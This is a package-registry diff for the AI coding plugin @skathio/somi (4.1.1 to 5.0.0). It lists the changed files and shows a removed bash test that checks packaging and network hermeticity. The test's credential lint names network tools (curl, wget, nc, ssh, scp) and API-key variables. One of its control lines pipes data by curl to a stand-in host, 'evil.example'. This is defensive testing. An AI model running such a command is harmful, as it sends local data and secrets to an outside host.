@skathio/somi 4.1.1 → 5.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.claude-plugin/icon.png +0 -0
- package/.claude-plugin/marketplace.json +8 -3
- package/.claude-plugin/plugin.json +9 -10
- package/.copilot-extension/extension.json +32 -40
- package/.copilot-extension/marketplace.json +8 -3
- package/README.md +83 -228
- package/VERSION +1 -1
- package/agents/somi-reviewer.md +21 -40
- package/agents/somi-security-reviewer.md +16 -90
- package/agents/somi-worker-high.md +11 -0
- package/agents/somi-worker-low.md +11 -0
- package/agents/somi-worker-medium.md +11 -0
- package/agents/somi.md +8 -75
- package/commands/somi-config.md +5 -14
- package/commands/somi-deliver.md +11 -0
- package/commands/somi-quality.md +10 -0
- package/commands/somi-review.md +10 -0
- package/commands/somi-status.md +11 -0
- package/commands/somi.md +10 -0
- package/hooks/hooks.json +28 -23
- package/hooks/lib/common.mjs +45 -34
- package/hooks/pre-tool/apply-tier.mjs +31 -0
- package/hooks/pre-tool/block-dangerous-bash.mjs +15 -0
- package/hooks/pre-tool/gate-dep-install.mjs +2 -2
- package/hooks/pre-tool/guard-protected-paths.mjs +9 -16
- package/hooks/pre-tool/guard-tier-config.mjs +17 -0
- package/hooks/pre-tool/reviewers-read-only.mjs +11 -0
- package/hooks/session-start/inject-digest.mjs +51 -0
- package/hooks/stop/review-due.mjs +40 -0
- package/hooks/user-prompt/capture-prompt.mjs +17 -0
- package/library/lenses/architecture.md +1 -0
- package/library/lenses/test-strategy.md +1 -0
- package/library/roles/accessibility.md +1 -0
- package/library/roles/answer.md +1 -0
- package/library/roles/atlas.md +1 -0
- package/library/roles/build.md +1 -0
- package/library/roles/debug.md +6 -0
- package/library/roles/design.md +1 -0
- package/library/roles/discover.md +1 -0
- package/library/roles/incident.md +1 -0
- package/library/roles/migrate.md +1 -0
- package/library/roles/perf.md +1 -0
- package/library/roles/plan.md +1 -0
- package/library/roles/refactor.md +1 -0
- package/library/roles/review.md +1 -0
- package/library/roles/security-review.md +1 -0
- package/library/roles/upgrade.md +1 -0
- package/library/skills/accessibility.md +16 -0
- package/library/skills/ci-infra-gotchas.md +12 -0
- package/library/skills/perf-method.md +10 -0
- package/library/skills/secure-coding.md +18 -0
- package/library/skills/testing-checklist.md +16 -0
- package/library/skills/threat-modeling.md +10 -0
- package/package.json +12 -17
- package/profiles/claude.json +21 -0
- package/profiles/copilot.json +5 -0
- package/rules/digest.md +40 -0
- package/scripts/check-links.mjs +65 -76
- package/scripts/lib/advisor.mjs +207 -0
- package/scripts/lib/check.mjs +165 -0
- package/scripts/lib/copilot-workflow.mjs +41 -0
- package/scripts/lib/doctor.mjs +91 -0
- package/scripts/lib/gates.mjs +69 -0
- package/scripts/lib/git-tree.mjs +201 -0
- package/scripts/lib/init.mjs +23 -0
- package/scripts/lib/ledger.mjs +38 -0
- package/scripts/lib/mcp-project-root.mjs +63 -67
- package/scripts/lib/migrate.mjs +73 -0
- package/scripts/lib/path-facts.mjs +2 -2
- package/scripts/lib/path-safety.mjs +6 -134
- package/scripts/lib/plan.mjs +69 -0
- package/scripts/lib/policy.mjs +103 -0
- package/scripts/lib/pr.mjs +28 -0
- package/scripts/lib/prompt.mjs +72 -0
- package/scripts/lib/quality/clones.mjs +76 -0
- package/scripts/lib/quality/css.mjs +43 -0
- package/scripts/lib/quality/gate.mjs +230 -0
- package/scripts/lib/quality/limits.mjs +73 -0
- package/scripts/lib/quality/metrics.mjs +159 -0
- package/scripts/lib/quality/parse.mjs +73 -0
- package/scripts/lib/quality/repo.mjs +69 -0
- package/scripts/lib/quality/run.mjs +38 -0
- package/scripts/lib/reviews.mjs +132 -0
- package/scripts/lib/routes.mjs +108 -0
- package/scripts/lib/setup.mjs +34 -0
- package/scripts/lib/shards.mjs +166 -0
- package/scripts/lib/signals.mjs +110 -0
- package/scripts/lib/state.mjs +42 -0
- package/scripts/lib/tiers.mjs +42 -0
- package/scripts/lib/update-notice.mjs +48 -0
- package/scripts/lib/views.mjs +62 -0
- package/scripts/lib/workflows.mjs +56 -0
- package/scripts/somi-mcp.mjs +181 -323
- package/scripts/somi.mjs +208 -0
- package/scripts/vendor/tree-sitter/LICENSE.vscode-tree-sitter-wasm +21 -0
- package/scripts/vendor/tree-sitter/LICENSE.web-tree-sitter +21 -0
- package/scripts/vendor/tree-sitter/cgmanifest.vscode-tree-sitter-wasm.json +16 -0
- package/scripts/vendor/tree-sitter/manifest.json +59 -0
- package/scripts/vendor/tree-sitter/package.json +3 -0
- package/scripts/vendor/tree-sitter/tree-sitter-css.wasm +0 -0
- package/scripts/vendor/tree-sitter/tree-sitter-javascript.wasm +0 -0
- package/scripts/vendor/tree-sitter/tree-sitter-tsx.wasm +0 -0
- package/scripts/vendor/tree-sitter/tree-sitter-typescript.wasm +0 -0
- package/scripts/vendor/tree-sitter/web-tree-sitter.js +4081 -0
- package/scripts/vendor/tree-sitter/web-tree-sitter.wasm +0 -0
- package/skills/somi-expertise/SKILL.md +6 -0
- package/workflows/deliver-stages.js +81 -0
- package/.claude/settings.json +0 -131
- package/agents/somi-architecture-reviewer.md +0 -101
- package/agents/somi-atlas.md +0 -100
- package/agents/somi-coder.md +0 -60
- package/agents/somi-designer.md +0 -36
- package/agents/somi-discovery-analyst.md +0 -57
- package/agents/somi-flow.md +0 -47
- package/agents/somi-general.md +0 -36
- package/agents/somi-impact.md +0 -95
- package/agents/somi-incident.md +0 -94
- package/agents/somi-plan-reviewer.md +0 -68
- package/agents/somi-planner.md +0 -57
- package/agents/somi-pr.md +0 -99
- package/agents/somi-refactor-designer.md +0 -81
- package/agents/somi-refactorer.md +0 -99
- package/agents/somi-sdlc-reviewer.md +0 -67
- package/agents/somi-test-strategist.md +0 -87
- package/commands/adopt.md +0 -14
- package/commands/architecture-review.md +0 -19
- package/commands/atlas.md +0 -19
- package/commands/code-loop.md +0 -19
- package/commands/code-parallel.md +0 -19
- package/commands/code.md +0 -19
- package/commands/debug.md +0 -19
- package/commands/design.md +0 -19
- package/commands/discover.md +0 -19
- package/commands/impact.md +0 -19
- package/commands/incident.md +0 -19
- package/commands/plan-loop.md +0 -19
- package/commands/plan.md +0 -19
- package/commands/pr.md +0 -19
- package/commands/refactor-design.md +0 -19
- package/commands/refactor.md +0 -19
- package/commands/release-readiness.md +0 -19
- package/commands/review-panel.md +0 -19
- package/commands/review.md +0 -19
- package/commands/security-review.md +0 -19
- package/commands/ship-loop.md +0 -19
- package/commands/ship.md +0 -19
- package/commands/test-strategy.md +0 -19
- package/commands/upgrade.md +0 -19
- package/examples/README.md +0 -19
- package/examples/code-review-example.md +0 -88
- package/examples/discovery-example.md +0 -200
- package/examples/feature-plan-example.md +0 -377
- package/examples/full-pipeline-example.md +0 -188
- package/examples/sample-consumer/.claude/settings.json +0 -29
- package/examples/sample-consumer/CLAUDE.md +0 -78
- package/examples/sample-consumer/README.md +0 -102
- package/hooks/post-tool/lint-changed-files.mjs +0 -209
- package/hooks/pre-tool/guard-cost-lowering.mjs +0 -192
- package/hooks/session-start/detect-repo-instructions.mjs +0 -287
- package/hooks/session-start/ensure-default-config.mjs +0 -113
- package/hooks/user-prompt-submit/inject-workflow-context.mjs +0 -580
- package/rules/00-priorities.md +0 -48
- package/rules/10-solid.md +0 -87
- package/rules/20-clean-code.md +0 -62
- package/rules/30-security-owasp.md +0 -83
- package/rules/40-engineering-practices.md +0 -65
- package/rules/50-collaboration.md +0 -114
- package/rules/99-overrides.md +0 -52
- package/rules/CLAUDE.md +0 -200
- package/scripts/check-session-artefacts.mjs +0 -149
- package/scripts/check-size-budget.mjs +0 -137
- package/scripts/generate-digest.mjs +0 -176
- package/scripts/lib/agent-info.mjs +0 -85
- package/scripts/lib/agent-registry.mjs +0 -92
- package/scripts/lib/cost-ceiling.mjs +0 -328
- package/scripts/lib/cost-config-edit.mjs +0 -102
- package/scripts/lib/cost-config.mjs +0 -64
- package/scripts/lib/cost-defaults.mjs +0 -53
- package/scripts/lib/cost-lowering.mjs +0 -89
- package/scripts/lib/cost-model.mjs +0 -110
- package/scripts/lib/dispatch-resolver.mjs +0 -243
- package/scripts/lib/escalation-facts.mjs +0 -146
- package/scripts/lib/escalation.mjs +0 -129
- package/scripts/lib/findings-ledger.mjs +0 -241
- package/scripts/lib/install-text.mjs +0 -97
- package/scripts/lib/loop-caps.mjs +0 -140
- package/scripts/lib/loop-diff.mjs +0 -38
- package/scripts/lib/loop-dispatch.mjs +0 -19
- package/scripts/lib/loop-engine.mjs +0 -227
- package/scripts/lib/loop-escalate.mjs +0 -49
- package/scripts/lib/loop-exit.mjs +0 -47
- package/scripts/lib/loop-notes-compact.mjs +0 -72
- package/scripts/lib/loop-notes.mjs +0 -282
- package/scripts/lib/loop-review.mjs +0 -395
- package/scripts/lib/loop-state.mjs +0 -44
- package/scripts/lib/loop-step-close.mjs +0 -75
- package/scripts/lib/loop-step-kit.mjs +0 -179
- package/scripts/lib/loop-step-review.mjs +0 -140
- package/scripts/lib/loop-step-tool.mjs +0 -89
- package/scripts/lib/loop-step.mjs +0 -303
- package/scripts/lib/run-budget.mjs +0 -28
- package/scripts/lib/run-card.mjs +0 -73
- package/scripts/lib/size-tier.mjs +0 -184
- package/scripts/lib/tier-record.mjs +0 -82
- package/scripts/size-budget-overrides.json +0 -58
- package/scripts/somi-card.mjs +0 -39
- package/scripts/somi-check.mjs +0 -237
- package/scripts/somi-config.mjs +0 -421
- package/scripts/somi-dispatch.mjs +0 -141
- package/scripts/somi-findings.mjs +0 -100
- package/scripts/somi-loop.mjs +0 -139
- package/scripts/somi-tier.mjs +0 -393
- package/scripts/validate.sh +0 -653
- package/skills/api-design/SKILL.md +0 -147
- package/skills/clean-code/SKILL.md +0 -142
- package/skills/flow-adopt/SKILL.md +0 -92
- package/skills/flow-architecture-review/SKILL.md +0 -94
- package/skills/flow-atlas/SKILL.md +0 -34
- package/skills/flow-code/SKILL.md +0 -167
- package/skills/flow-code-loop/SKILL.md +0 -263
- package/skills/flow-code-parallel/SKILL.md +0 -160
- package/skills/flow-debug/SKILL.md +0 -141
- package/skills/flow-design/SKILL.md +0 -170
- package/skills/flow-discover/SKILL.md +0 -204
- package/skills/flow-impact/SKILL.md +0 -35
- package/skills/flow-incident/SKILL.md +0 -49
- package/skills/flow-plan/SKILL.md +0 -254
- package/skills/flow-plan-loop/SKILL.md +0 -254
- package/skills/flow-pr/SKILL.md +0 -34
- package/skills/flow-refactor/SKILL.md +0 -58
- package/skills/flow-refactor-design/SKILL.md +0 -97
- package/skills/flow-release-readiness/SKILL.md +0 -82
- package/skills/flow-review/SKILL.md +0 -193
- package/skills/flow-review-panel/SKILL.md +0 -154
- package/skills/flow-security-review/SKILL.md +0 -83
- package/skills/flow-ship/SKILL.md +0 -125
- package/skills/flow-ship-loop/SKILL.md +0 -274
- package/skills/flow-somi-config/SKILL.md +0 -142
- package/skills/flow-status/SKILL.md +0 -43
- package/skills/flow-test-strategy/SKILL.md +0 -83
- package/skills/flow-upgrade/SKILL.md +0 -82
- package/skills/market-research/SKILL.md +0 -125
- package/skills/observability/SKILL.md +0 -133
- package/skills/owasp-defense/SKILL.md +0 -141
- package/skills/plan-review/SKILL.md +0 -83
- package/skills/reasoning-craft/SKILL.md +0 -213
- package/skills/requirements-engineering/SKILL.md +0 -137
- package/skills/role-coder/SKILL.md +0 -247
- package/skills/role-designer/SKILL.md +0 -172
- package/skills/role-discovery-analyst/SKILL.md +0 -288
- package/skills/role-planner/SKILL.md +0 -353
- package/skills/role-reviewer/SKILL.md +0 -218
- package/skills/rules/SKILL.md +0 -47
- package/skills/sdlc-process/SKILL.md +0 -74
- package/skills/solid-principles/SKILL.md +0 -143
- package/skills/somi-checkpoint/SKILL.md +0 -95
- package/skills/somi-dispatch/SKILL.md +0 -259
- package/skills/somi-routing/SKILL.md +0 -158
- package/skills/testing-playbook/SKILL.md +0 -133
- package/skills/threat-modeling/SKILL.md +0 -117
- package/templates/ADR.md.tmpl +0 -73
- package/templates/ATLAS.md.tmpl +0 -75
- package/templates/BRD.md.tmpl +0 -68
- package/templates/BRIEF.md.tmpl +0 -119
- package/templates/CONTEXT.md.tmpl +0 -74
- package/templates/DECISIONS.md.tmpl +0 -105
- package/templates/DESIGN.md.tmpl +0 -83
- package/templates/DIARY.md.tmpl +0 -70
- package/templates/DOD.md.tmpl +0 -90
- package/templates/FRD.md.tmpl +0 -64
- package/templates/PHASE.md.tmpl +0 -80
- package/templates/PROGRESS.md.tmpl +0 -63
- package/templates/RCA.md.tmpl +0 -53
- package/templates/RD-README.md.tmpl +0 -70
- package/templates/RESEARCH.md.tmpl +0 -96
- package/templates/REVIEW.md.tmpl +0 -82
- package/templates/SDD.md.tmpl +0 -82
- package/templates/SOMI-README.md.tmpl +0 -83
- package/templates/SPEC.md.tmpl +0 -123
- package/templates/SRS.md.tmpl +0 -85
- package/templates/TDD.md.tmpl +0 -77
- package/tests/hooks/cases/audit-log.json +0 -21
- package/tests/hooks/cases/block-dangerous-bash.json +0 -166
- package/tests/hooks/cases/block-secret-writes.json +0 -140
- package/tests/hooks/cases/detect-repo-instructions.json +0 -105
- package/tests/hooks/cases/gate-dep-install.json +0 -42
- package/tests/hooks/cases/guard-protected-paths.json +0 -222
- package/tests/hooks/cases/inject-workflow-context.json +0 -239
- package/tests/hooks/cases/lint-changed-files.json +0 -120
- package/tests/hooks/run.sh +0 -392
- package/tests/scripts/agent-model-frontmatter.sh +0 -38
- package/tests/scripts/agent-names.sh +0 -77
- package/tests/scripts/check-frontmatter.sh +0 -37
- package/tests/scripts/check-links.sh +0 -105
- package/tests/scripts/check-session-artefacts.sh +0 -60
- package/tests/scripts/check-size-budget.sh +0 -71
- package/tests/scripts/checkpoint-gate.sh +0 -131
- package/tests/scripts/convergence-runner.sh +0 -1514
- package/tests/scripts/cost-ceiling.sh +0 -255
- package/tests/scripts/cost-defaults.sh +0 -130
- package/tests/scripts/cost-hardcap.sh +0 -338
- package/tests/scripts/cost-lowering.sh +0 -261
- package/tests/scripts/cost-model.sh +0 -196
- package/tests/scripts/dispatch-guard.sh +0 -108
- package/tests/scripts/dispatch-line-gate.sh +0 -61
- package/tests/scripts/dispatch-reference-gate.sh +0 -173
- package/tests/scripts/ensure-default-config.sh +0 -162
- package/tests/scripts/escalation.sh +0 -409
- package/tests/scripts/eval-runner.sh +0 -3692
- package/tests/scripts/evals-packaging.sh +0 -224
- package/tests/scripts/fact-sheet.sh +0 -296
- package/tests/scripts/fixtures/legacy-shard-no-schema.json +0 -50
- package/tests/scripts/fixtures/mock-stdin-read-throw.cjs +0 -18
- package/tests/scripts/fixtures/size-tier-cases.json +0 -87
- package/tests/scripts/generate-digest.sh +0 -180
- package/tests/scripts/global-config.sh +0 -167
- package/tests/scripts/goldens/loop-state-breach.json +0 -1
- package/tests/scripts/goldens/loop-state-done.json +0 -1
- package/tests/scripts/goldens/somi-findings.json +0 -336
- package/tests/scripts/goldens/somi-loop.json +0 -168
- package/tests/scripts/lib/adr-shape.mjs +0 -41
- package/tests/scripts/lib/agent-registry-tests.mjs +0 -95
- package/tests/scripts/lib/brief-only-guard.mjs +0 -27
- package/tests/scripts/lib/checkpoint-gate.mjs +0 -91
- package/tests/scripts/lib/digest-marker-coupling.mjs +0 -52
- package/tests/scripts/lib/dispatch-reference-gate.mjs +0 -121
- package/tests/scripts/lib/escalation-facts-tests.mjs +0 -140
- package/tests/scripts/lib/escalation-tests.mjs +0 -154
- package/tests/scripts/lib/findings-ledger-tests.mjs +0 -118
- package/tests/scripts/lib/loop-engine-tests.mjs +0 -287
- package/tests/scripts/lib/loop-escalate-tests.mjs +0 -356
- package/tests/scripts/lib/loop-flow-gate.mjs +0 -173
- package/tests/scripts/lib/loop-notes-tests.mjs +0 -384
- package/tests/scripts/lib/loop-step-cli-tests.mjs +0 -156
- package/tests/scripts/lib/loop-step-close-tests.mjs +0 -351
- package/tests/scripts/lib/loop-step-lenient-tests.mjs +0 -114
- package/tests/scripts/lib/loop-step-state-tests.mjs +0 -127
- package/tests/scripts/lib/loop-step-tests.mjs +0 -499
- package/tests/scripts/lib/loop-step-unwritten-tests.mjs +0 -55
- package/tests/scripts/lib/multipass-dependence.mjs +0 -192
- package/tests/scripts/lib/multipass-source-identity.mjs +0 -243
- package/tests/scripts/lib/path-facts-tests.mjs +0 -198
- package/tests/scripts/lib/path-safety-tests.mjs +0 -201
- package/tests/scripts/lib/reference-pair.mjs +0 -61
- package/tests/scripts/lib/retirement-gate.mjs +0 -172
- package/tests/scripts/lib/run-suites.mjs +0 -139
- package/tests/scripts/lib/shell-embedded-js.mjs +0 -47
- package/tests/scripts/lib/ship-loop-sizing-guard.mjs +0 -52
- package/tests/scripts/lib/site-roadmap-gate.mjs +0 -64
- package/tests/scripts/lib/size-tier-drift.mjs +0 -74
- package/tests/scripts/lib/sizing-score-tests.mjs +0 -210
- package/tests/scripts/lib/sizing-set-tests.mjs +0 -131
- package/tests/scripts/lib/somi-mcp-client.mjs +0 -102
- package/tests/scripts/lib/somi-mcp-config-tests.mjs +0 -92
- package/tests/scripts/lib/somi-mcp-loop-tests.mjs +0 -226
- package/tests/scripts/lib/somi-mcp-tests.mjs +0 -491
- package/tests/scripts/lib/somi-mcp-tier-tests.mjs +0 -64
- package/tests/scripts/lib/somi-mcp-tool-schema.mjs +0 -38
- package/tests/scripts/loop-engine.sh +0 -22
- package/tests/scripts/loop-flow-gate.sh +0 -11
- package/tests/scripts/retirement-gate.sh +0 -306
- package/tests/scripts/review-panel-seats.sh +0 -32
- package/tests/scripts/run-card.sh +0 -57
- package/tests/scripts/run-suites.sh +0 -74
- package/tests/scripts/run.sh +0 -689
- package/tests/scripts/site-roadmap-gate.sh +0 -76
- package/tests/scripts/size-tier.sh +0 -562
- package/tests/scripts/somi-agent-dispatch-contract.sh +0 -224
- package/tests/scripts/somi-config.sh +0 -286
- package/tests/scripts/somi-dispatch.sh +0 -465
- package/tests/scripts/somi-mcp.sh +0 -15
- package/tests/scripts/suite-plan.json +0 -20
|
@@ -1,224 +0,0 @@
|
|
|
1
|
-
#!/usr/bin/env bash
|
|
2
|
-
# Guards the invariant that `npm test` stays hermetic and the eval corpus never ships to
|
|
3
|
-
# consumers. Kept in its own file so the invariant is not spread through a large diff.
|
|
4
|
-
set -uo pipefail
|
|
5
|
-
|
|
6
|
-
ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)"
|
|
7
|
-
cd "$ROOT"
|
|
8
|
-
pass=0; fail=0
|
|
9
|
-
ok() { pass=$((pass+1)); printf ' ok %s\n' "$1"; }
|
|
10
|
-
bad() { fail=$((fail+1)); printf ' FAIL %s\n' "$1"; }
|
|
11
|
-
check(){ if [ "$2" = "$3" ]; then ok "$1"; else bad "$1 (want '$3', got '$2')"; fi; }
|
|
12
|
-
|
|
13
|
-
echo "== eval packaging & hermeticity =="
|
|
14
|
-
|
|
15
|
-
# --- the corpus must not ship ------------------------------------------------------------------
|
|
16
|
-
# `tests/` is in package.json's `files`, so exclusion needs tests/.npmignore -- a ROOT .npmignore
|
|
17
|
-
# does not override `files`. That mechanism was verified when the plan was written; this asserts
|
|
18
|
-
# the outcome rather than trusting it.
|
|
19
|
-
pack=$(npm pack --dry-run --json 2>/dev/null)
|
|
20
|
-
if [ -z "$pack" ]; then
|
|
21
|
-
bad "npm pack --dry-run produced output"
|
|
22
|
-
else
|
|
23
|
-
ok "npm pack --dry-run produced output"
|
|
24
|
-
n_total=$(printf '%s' "$pack" | node -e "let s='';process.stdin.on('data',d=>s+=d).on('end',()=>process.stdout.write(String(JSON.parse(s)[0].files.length)))")
|
|
25
|
-
for pat in 'tests/evals/' 'evals/fixtures' 'evals/tasks' 'evals/run.mjs' 'rubric.md' 'evals-fixtures.sh' 'eval-gate' 'budget-crosscheck'; do
|
|
26
|
-
n=$(printf '%s' "$pack" | node -e "
|
|
27
|
-
let s='';process.stdin.on('data',d=>s+=d).on('end',()=>{
|
|
28
|
-
const f=JSON.parse(s)[0].files.filter(x=>x.path.includes(process.argv[1]));
|
|
29
|
-
process.stdout.write(String(f.length));});" "$pat")
|
|
30
|
-
check "npm tarball contains no '$pat'" "$n" "0"
|
|
31
|
-
done
|
|
32
|
-
# Floor: a tarball that is empty would pass every check above vacuously.
|
|
33
|
-
if [ "${n_total:-0}" -ge 50 ]; then
|
|
34
|
-
ok "npm tarball is non-empty ($n_total paths)"
|
|
35
|
-
else
|
|
36
|
-
bad "npm tarball is non-empty (want >=50, got ${n_total:-0})"
|
|
37
|
-
fi
|
|
38
|
-
fi
|
|
39
|
-
|
|
40
|
-
# --- npm test must not EXECUTE the runner -------------------------------------------------------
|
|
41
|
-
# Structural and invocation-level, per the phase's exit criteria: a `node --check` glob merely
|
|
42
|
-
# NAMING tests/evals is explicitly permitted; executing the runner is not. A bare "no mention"
|
|
43
|
-
# grep would be self-contradicting, since validate.sh must name the directory to syntax-check it.
|
|
44
|
-
test_script=$(node -e "process.stdout.write(require('./package.json').scripts.test)")
|
|
45
|
-
check "npm test runs validate.sh, not the eval runner" "$test_script" "bash scripts/validate.sh"
|
|
46
|
-
|
|
47
|
-
# Scoped to what `npm test` actually reaches: the `test` script string, and validate.sh (which it
|
|
48
|
-
# runs). package.json's OTHER scripts may reference the runner -- eval:behavioral exists precisely
|
|
49
|
-
# to. Checking the whole file would flag the deliberate escape hatch as the leak.
|
|
50
|
-
reach_text=$( { printf '%s\n' "$test_script"; cat scripts/validate.sh; } )
|
|
51
|
-
# Every file under tests/evals with a main guard is an entrypoint. Each command of a reachable script line
|
|
52
|
-
# (split on ; && || |, `#` comments dropped) that runs one must carry a read-only flag AFTER the entrypoint
|
|
53
|
-
# path and no other flag there, unless the entrypoint has no model path (gate-check only reads a record file
|
|
54
|
-
# and git). `node --check <path>` is a syntax check and is skipped; `npm run eval:*` is always flagged. An
|
|
55
|
-
# entrypoint is any file passed in, so one not named here is treated as model-capable. A regression pin
|
|
56
|
-
# against honest drift, not a boundary: a computed command line or an `eval` gets past it. Stdin is the
|
|
57
|
-
# script text, the arguments are entrypoint paths; each offending command is printed. Residuals: `xargs node`,
|
|
58
|
-
# `cd tests/evals && node run.mjs` (a bare basename), `node -e "import('./tests/evals/run.mjs')"` and a trailing
|
|
59
|
-
# positional or variable after a read-only flag pass this pin.
|
|
60
|
-
UNSAFE_JS=$(cat <<'JSEND'
|
|
61
|
-
import { readFileSync } from 'node:fs';
|
|
62
|
-
const files = process.argv.slice(1).filter((f) => !f.endsWith('/gate-check.mjs'));
|
|
63
|
-
const RO = /^--(dry-run|merge|certify|help)$/;
|
|
64
|
-
const unq = (w) => w.replace(/^["']+|["']+$/g, '');
|
|
65
|
-
const out = [];
|
|
66
|
-
for (const raw of readFileSync(0, 'utf8').replace(/\\\n/g, ' ').split('\n')) {
|
|
67
|
-
for (const cmd of raw.replace(/#.*$/, '').split(/&&|\|\||[;|]/)) {
|
|
68
|
-
const words = cmd.trim().split(/\s+/).map(unq);
|
|
69
|
-
if (/\bnpm\s+(run|run-script)\s+eval:/.test(cmd)) { out.push(cmd.trim()); continue; }
|
|
70
|
-
for (const f of files) {
|
|
71
|
-
const at = words.findIndex((w) => w === f || w.endsWith('/' + f.split('/').pop()));
|
|
72
|
-
if (at < 0 || !words.slice(0, at).some((w) => /^(node|bash|sh)$/.test(w.split('/').pop()))) continue;
|
|
73
|
-
if (words.slice(0, at).includes('--check')) continue;
|
|
74
|
-
const flags = words.slice(at + 1).filter((w) => w.startsWith('-'));
|
|
75
|
-
if (flags.length === 0 || !flags.every((w) => RO.test(w))) out.push(cmd.trim());
|
|
76
|
-
}
|
|
77
|
-
}
|
|
78
|
-
}
|
|
79
|
-
process.stdout.write(out.join('\n') + (out.length ? '\n' : ''));
|
|
80
|
-
JSEND
|
|
81
|
-
)
|
|
82
|
-
unsafe_invocations() { node --input-type=module -e "$UNSAFE_JS" "$@"; }
|
|
83
|
-
# Positive controls on synthetic text, outside the tarball guard: each flagged line is a bypass the pin once
|
|
84
|
-
# missed or a plain violation; the second text is read-only use and must pass.
|
|
85
|
-
bypass=$'node tests/evals/scratch.mjs\nnode tests/evals/scratch.mjs --dry-run --live\nnode tests/evals/scratch.mjs --dry-run && node tests/evals/scratch.mjs\nnode "$EVAL_TREE/scratch.mjs"\nnpm run eval:behavioral\nnode tests/evals/scratch.mjs --checkpoint\nnode --dry-run tests/evals/scratch.mjs\nnode tests/evals/scratch.mjs # --help\nnode \\\n tests/evals/scratch.mjs'
|
|
86
|
-
check "the pin flags a scratch entrypoint run with no read-only flag after its path, with an extra flag, after a safe && command, via \$EVAL_TREE, via npm run eval:, with --checkpoint, with a flag before the path, with a flag only in a comment, or split over a continuation line" "$(printf '%s\n' "$bypass" | unsafe_invocations tests/evals/scratch.mjs | wc -l | tr -d ' ')" "9"
|
|
87
|
-
check "the pin passes read-only use, --check and gate-check with any flags" "$(printf '%s\n' 'node tests/evals/scratch.mjs --dry-run --help' 'node --check tests/evals/scratch.mjs; echo ok' 'node tests/evals/gate-check.mjs --records x' 'node "$EVAL_TREE/gate-check.mjs" --records x' | unsafe_invocations tests/evals/scratch.mjs tests/evals/gate-check.mjs | wc -l | tr -d ' ')" "0"
|
|
88
|
-
# Skipped in a published tarball, where tests/evals is absent BY DESIGN.
|
|
89
|
-
if [ -d tests/evals ]; then
|
|
90
|
-
guards=$(grep -rlE 'import\.meta\.url === pathToFileURL\(process\.argv\[1\]|^const isMainModule' tests/evals --include='*.mjs' | sort)
|
|
91
|
-
# shellcheck disable=SC2086
|
|
92
|
-
reach=$(printf '%s\n' "$reach_text" | unsafe_invocations $guards)
|
|
93
|
-
if [ -z "$reach" ]; then
|
|
94
|
-
ok "every reachable invocation of a tests/evals entrypoint is read-only"
|
|
95
|
-
else
|
|
96
|
-
bad "every reachable invocation of a tests/evals entrypoint is read-only"
|
|
97
|
-
printf '%s\n' "$reach" | sed 's/^/ /'
|
|
98
|
-
fi
|
|
99
|
-
check "the main-guard files under tests/evals are the known entrypoints" "$(printf '%s ' $guards)" "tests/evals/convergence.mjs tests/evals/gate-check.mjs tests/evals/run.mjs "
|
|
100
|
-
else
|
|
101
|
-
ok "tests/evals absent (published tarball) - entrypoint invocation pin skipped"
|
|
102
|
-
fi
|
|
103
|
-
|
|
104
|
-
# The runner is reachable on purpose through its own script, which is NOT `test`.
|
|
105
|
-
have=$(node -e "const s=require('./package.json').scripts; process.stdout.write(s['eval:behavioral'] ?? 'MISSING')")
|
|
106
|
-
check "an explicit eval:behavioral script exists" "$have" "node tests/evals/run.mjs"
|
|
107
|
-
|
|
108
|
-
# The same pair for the convergence entrypoint, on its own script.
|
|
109
|
-
have2=$(node -e "const s=require('./package.json').scripts; process.stdout.write(s['eval:convergence'] ?? 'MISSING')")
|
|
110
|
-
check "an explicit eval:convergence script exists" "$have2" "node tests/evals/convergence.mjs"
|
|
111
|
-
check "every node \"\$CVD\" invocation in convergence-runner.sh is read-only or a negative-argument test (F-256)" "$(grep -nF 'node "$CVD"' tests/scripts/convergence-runner.sh | grep -vcE -- '--dry-run|--merge|--certify|--help|echo \$\?')" "0"
|
|
112
|
-
|
|
113
|
-
# --- npm test itself must not reach the network -------------------------------------------------
|
|
114
|
-
# Tests INVOCATION, not substrings. A URL inside a string literal is not a network call:
|
|
115
|
-
# check-links.sh builds `[a](https://e.com/x.md)` as a fixture, and eval-runner.sh's own
|
|
116
|
-
# hermeticity assertion contains the pattern `https?://` as a grep argument. A substring scan
|
|
117
|
-
# flags both, which trains the reader to ignore it -- the failure mode of a noisy guard.
|
|
118
|
-
# A script may ASSIGN a literal fake test key (`process.env.ANTHROPIC_API_KEY = 'sk-test...'`, to prove a child does not
|
|
119
|
-
# inherit it): those assignments are stripped from each line first, then what remains is scanned. Any other mention of
|
|
120
|
-
# a credential variable (dot, bracket, backtick, a bare name) or a network client is flagged. Stdin is a script's text.
|
|
121
|
-
credential_hits() {
|
|
122
|
-
sed -E "s/process\.env\.[A-Z_]+ = 'sk-test[^']*';?//g" \
|
|
123
|
-
| grep -nE '(^|[;&|(]|[[:space:]])(curl|wget|nc|ssh|scp)[[:space:]]|\$\{?(ANTHROPIC|OPENAI)_API_KEY|["'"'"'`](ANTHROPIC|OPENAI)_API_KEY["'"'"'`]|process\.env(\.|\[["'"'"'`])(ANTHROPIC|OPENAI)' \
|
|
124
|
-
| grep -vE "^[0-9]+:[[:space:]]*#" | grep -vE "grep -[a-zA-Z]*E?[[:space:]]+'"
|
|
125
|
-
}
|
|
126
|
-
# Control lines are assembled from fragments so this file does not trip its own lint.
|
|
127
|
-
A=ANTHROPIC; O=OPENAI; K=_API_KEY; CU=cu; E='process.env'; F="$E.$A$K = 'sk-test-a'"
|
|
128
|
-
controls=$(printf '%s\n' "x = $E.$A$K" "x = $E['$O$K']" "x = $E[\"$A$K\"]" "${CU}rl http://x" "$F; $E.NODE_OPTIONS = '--x';" "$E.$A$K = $E.$A$K" "x = $E[\`$A$K\`]" "const k = '$A$K'; y = $E[k]" "x = $E.$O$K; $F;" "${CU}rl http://evil.example/ -d @- ; $F")
|
|
129
|
-
check "the credential lint flags dot, bracket, backtick and bare-name reads and a network client, also beside a fake-key assignment, and tolerates only the assignment" "$(printf '%s\n' "$controls" | credential_hits | cut -d: -f1 | tr '\n' ' ')" "1 2 3 4 6 7 8 9 10 "
|
|
130
|
-
net_failed=0
|
|
131
|
-
for f in scripts/validate.sh $(git ls-files 'tests/scripts/*.sh'); do
|
|
132
|
-
hits=$(credential_hits < "$f" 2>/dev/null)
|
|
133
|
-
if [ -n "$hits" ]; then
|
|
134
|
-
bad "$f makes no network call or credential read"
|
|
135
|
